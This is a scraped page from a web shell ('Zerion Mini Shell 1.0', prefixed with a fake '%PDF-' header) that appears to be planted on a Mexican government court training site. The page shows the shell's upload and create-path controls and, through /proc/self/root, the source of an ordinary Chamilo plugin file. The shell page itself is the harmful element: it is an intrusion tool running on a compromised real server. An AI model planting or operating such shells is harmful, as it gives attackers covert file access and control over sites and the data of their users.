%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/home/tjamichg/cursos.tjamich.gob.mx/plugin/vchamilo/
Upload File :
Create Path :
Current File : //proc/self/root/home/tjamichg/cursos.tjamich.gob.mx/plugin/vchamilo/index.php

<?php
/**
 * @package chamilo.plugin.vchamilo
 */
api_protect_admin_script();

global $virtualChamilo;

$plugin = VChamiloPlugin::create();

// See also the share_user_info plugin

$_template['show_message'] = true;
$_template['title'] = $plugin->get_lang('hostlist');

$table = Database::get_main_table('vchamilo');
$sql = "SELECT sitename, root_web FROM $table WHERE visible = 1";

if ($virtualChamilo == '%') {
    $result = Database::query($sql);
    $_template['hosts'] = [];
    if ($result) {
        while ($vchamilo = Database::fetch_assoc($result)) {
            $_template['hosts'][] = $vchamilo;
        }
    }
}

Zerion Mini Shell 1.0